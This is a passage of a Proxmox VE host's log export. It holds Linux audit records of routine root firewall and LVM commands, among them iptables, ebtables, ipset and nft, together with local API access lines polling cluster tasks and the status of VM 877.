a1=55ecb8afc880 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65296 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781964375306,"@rawstring":"node=pve type=EXECVE msg=audit(1781964375.306:60763): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965180628,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:19:39 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 914"} {"@timestamp":1781964353998,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964353.998:60654): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=58233 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965986072,"@rawstring":"node=pve type=EXECVE msg=audit(1781965986.072:67965): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781965735803,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965735.803:66875): arch=c000003e syscall=59 success=yes exit=0 a0=7ffc3a88d220 a1=57493f86c200 a2=57493f84a680 a3=5 items=2 ppid=64228 pid=64229 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781965995146,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965995.146:67992): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65295 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964375299,"@rawstring":"node=pve type=EXECVE msg=audit(1781964375.299:60762): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965179513,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:19:38 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1092"} {"@timestamp":1781964353983,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964353.983:60652): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=58232 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965986068,"@rawstring":"node=pve type=EXECVE msg=audit(1781965986.068:67964): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965735799,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965735.799:66873): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=64228 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965995136,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965995.136:67991): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65294 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964375294,"@rawstring":"node=pve type=EXECVE msg=audit(1781964375.294:60760): argc=1 a0=\"ebtables-restore\""} {"@timestamp":1781965179513,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:19:38 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 905"} {"@timestamp":1781964353983,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964353.983:60651): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=58232 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965986067,"@rawstring":"node=pve type=EXECVE msg=audit(1781965986.067:67963): argc=1 a0=\"date\""} {"@timestamp":1781965735791,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965735.791:66872): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64227 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965995132,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965995.132:67990): arch=c000003e syscall=59 success=yes exit=0 a0=57de781e0d30 a1=57de781ecf00 a2=57de781ba680 a3=5 items=2 ppid=65287 pid=65293 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781964375290,"@rawstring":"node=pve type=EXECVE msg=audit(1781964375.290:60759): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781965178431,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:19:37 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1103"} {"@timestamp":1781964348926,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964348.926:60649): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=58231 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965986062,"@rawstring":"node=pve type=EXECVE msg=audit(1781965986.062:67961): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781965735783,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965735.783:66871): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64226 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965995129,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965995.129:67989): arch=c000003e syscall=59 success=yes exit=0 a0=57de452b6ac8 a1=7fff54d2b060 a2=57de781ba680 a3=57de4529a24e items=2 ppid=65287 pid=65289 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781964375284,"@rawstring":"node=pve type=EXECVE msg=audit(1781964375.284:60758): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781965178431,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:19:37 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 913"} {"@timestamp":1781964348925,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964348.925:60648): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=58231 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965986055,"@rawstring":"node=pve type=EXECVE msg=audit(1781965986.055:67960): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965735777,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965735.777:66870): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc139b80 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64225 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781965995128,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965995.128:67988): arch=c000003e syscall=59 success=yes exit=0 a0=7fff54d2b020 a1=57de781dc3d0 a2=57de781ba680 a3=5 items=2 ppid=65287 pid=65288 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781964375279,"@rawstring":"node=pve type=EXECVE msg=audit(1781964375.279:60757): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781965178431,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:19:37 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 498"} {"@timestamp":1781964348902,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964348.902:60646): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=58230 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965986048,"@rawstring":"node=pve type=EXECVE msg=audit(1781965986.048:67959): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965735769,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965735.769:66869): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc138b00 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64224 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781965995122,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965995.122:67986): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=65287 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781964375274,"@rawstring":"node=pve type=EXECVE msg=audit(1781964375.274:60756): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781965177286,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:19:36 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 504"} {"@timestamp":1781964348902,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964348.902:60645): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=58230 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965986040,"@rawstring":"node=pve type=EXECVE msg=audit(1781965986.040:67958): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965735762,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965735.762:66868): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc13da20 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64223 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781965995115,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965995.115:67985): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65286 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964375269,"@rawstring":"node=pve type=EXECVE msg=audit(1781964375.269:60755): argc=2 a0=\"ipset\" a1=\"restore\""} {"@timestamp":1781965177286,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:19:36 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781964345309,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964345.309:60641): arch=c000003e syscall=59 success=no exit=-2 a0=7ffd046fea70 a1=5fd3719b2310 a2=5fd3719ab680 a3=5 items=1 ppid=58222 pid=58223 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965986033,"@rawstring":"node=pve type=EXECVE msg=audit(1781965986.033:67957): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965734402,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965734.402:66867): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73ab0c0 a1=64f8d741b570 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=64222 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"lvs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781965995107,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965995.107:67984): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65285 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964375262,"@rawstring":"node=pve type=EXECVE msg=audit(1781964375.262:60754): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965177286,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:19:36 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 914"} {"@timestamp":1781964345138,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964345.138:60623): arch=c000003e syscall=59 success=no exit=-2 a0=7ffd134682b0 a1=60ed4a0db180 a2=60ed4a0b9680 a3=5 items=1 ppid=58203 pid=58204 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965986025,"@rawstring":"node=pve type=EXECVE msg=audit(1781965986.025:67955): argc=1 a0=\"ebtables-restore\""} {"@timestamp":1781965734379,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965734.379:66866): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d740a080 a1=64f8d7406b50 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=64221 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"vgs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781965995102,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965995.102:67983): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0ffcd0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65284 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781964375256,"@rawstring":"node=pve type=EXECVE msg=audit(1781964375.256:60753): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965176221,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:19:35 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1092"} {"@timestamp":1781964343871,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964343.871:60613): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=58193 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965986019,"@rawstring":"node=pve type=EXECVE msg=audit(1781965986.019:67954): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781965734114,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965734.114:66865): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=64218 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965995092,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965995.092:67982): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0f91c0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65283 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781964375252,"@rawstring":"node=pve type=EXECVE msg=audit(1781964375.252:60752): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781965176221,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:19:35 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 898"} {"@timestamp":1781964343871,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964343.871:60612): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=58193 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965986013,"@rawstring":"node=pve type=EXECVE msg=audit(1781965986.013:67953): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781965734109,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965734.109:66862): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=64217 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965995083,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965995.083:67981): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0e8300 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65282 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781964375249,"@rawstring":"node=pve type=EXECVE msg=audit(1781964375.249:60751): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965175077,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:19:34 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1096"} {"@timestamp":1781964343858,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964343.858:60610): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=58192 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965986005,"@rawstring":"node=pve type=EXECVE msg=audit(1781965986.005:67952): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781965729101,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965729.101:66859): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=64216 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965995038,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965995.038:67980): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=65281 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781964375248,"@rawstring":"node=pve type=EXECVE msg=audit(1781964375.248:60750): argc=1 a0=\"date\""} {"@timestamp":1781965175077,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:19:34 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 505"} {"@timestamp":1781964343857,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964343.857:60609): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=58192 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965985999,"@rawstring":"node=pve type=EXECVE msg=audit(1781965985.999:67951): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781965729092,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965729.092:66856): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=64215 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965995031,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965995.031:67977): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=65280 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781964375244,"@rawstring":"node=pve type=EXECVE msg=audit(1781964375.244:60748): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781965175077,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:19:33 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 928"} {"@timestamp":1781964338848,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964338.848:60604): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=58186 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965985991,"@rawstring":"node=pve type=EXECVE msg=audit(1781965985.991:67950): argc=2 a0=\"ipset\" a1=\"restore\""} {"@timestamp":1781965725749,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965725.749:66853): arch=c000003e syscall=59 success=yes exit=0 a0=5d5e509dfb60 a1=5d5e509ebe40 a2=5d5e509b9680 a3=5 items=2 ppid=64208 pid=64214 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781965994239,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965994.239:67974): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d74107b0 a1=64f8d73bb900 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=65279 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"lvs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781964375237,"@rawstring":"node=pve type=EXECVE msg=audit(1781964375.237:60747): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965173995,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:19:33 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 495"} {"@timestamp":1781964338847,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964338.847:60603): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=58186 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965985983,"@rawstring":"node=pve type=EXECVE msg=audit(1781965985.983:67949): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965725745,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965725.745:66852): arch=c000003e syscall=59 success=yes exit=0 a0=5d5e2cd02ac8 a1=7ffe4423fc00 a2=5d5e509b9680 a3=5d5e2cce624e items=2 ppid=64208 pid=64210 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" 